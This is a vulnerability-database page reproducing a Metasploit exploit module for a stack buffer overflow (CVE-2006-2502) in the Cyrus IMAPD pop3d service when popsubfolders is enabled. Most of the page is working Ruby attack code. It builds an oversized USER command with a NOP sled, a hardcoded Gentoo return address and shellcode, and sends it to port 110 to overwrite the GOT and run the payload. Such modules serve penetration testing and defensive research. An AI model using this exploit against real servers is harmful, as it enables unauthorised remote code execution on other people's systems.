Lucene search
K

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow

🗓️ 15 Dec 2009 04:41:31Reported by bannedit <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
      'Description'    => %q{
          This exploit takes advantage of a stack based overflow.  Once the stack
        corruption has occurred it is possible to overwrite a pointer which is
        later used for a memcpy. This gives us a write anything anywhere condition
        similar to a format string vulnerability.

        NOTE: The popsubfolders option is a non-default setting.

        I chose to overwrite the GOT with my shellcode and return to it. This
        defeats the VA random patch and possibly other stack protection features.

        Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
        a version containing the vulnerable code, it is not exploitable due to the
        use of the FORTIFY_SOURCE compiler enhancement
      },
      'Author'         => [ 'bannedit', 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2502' ],
          [ 'OSVDB', '25853' ],
          [ 'BID', '18056' ],
          [ 'EDB', '2053' ],
          [ 'EDB', '2185' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
        ],
      'Payload'	=>
        {
          'Space'	=> 250,
          'DisableNops' => true,
        },
      'Platform'	=> 'linux',
      'Targets'	=>
        [
          # bannedit: 0x080fd204
          # K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
          [ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
        ],
      'Privileged'		=> true,
      'DisclosureDate'	=> '2006-05-21',
      'DefaultTarget'	=> 0))

    register_options( [ Opt::RPORT(110) ])
  end



  def exploit

    connect
    banner = sock.get_once.to_s.strip

    print_status "Banner: #{banner}"

    # NOTE: orig poc shellcode len: 84

    # kcope: 352+84+86+4 (nops,sc,nops,ret)
    # K-sPecial: 84+(120*4) (sc,addrs)
    # bannedit: 265+8+250+29+16
    shellcode = payload.encoded

    buf = "USER "
    buf << make_nops(265)
    # return address
    buf << [target.ret].pack('V') * 2
    buf << make_nops(250 - shellcode.length)
    buf << shellcode
    buf << make_nops(29)
    sc_addr = target.ret - 277
    buf << [sc_addr].pack('V') * 4
    buf << "\r\n"

    sock.send(buf, 0)
    disconnect

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation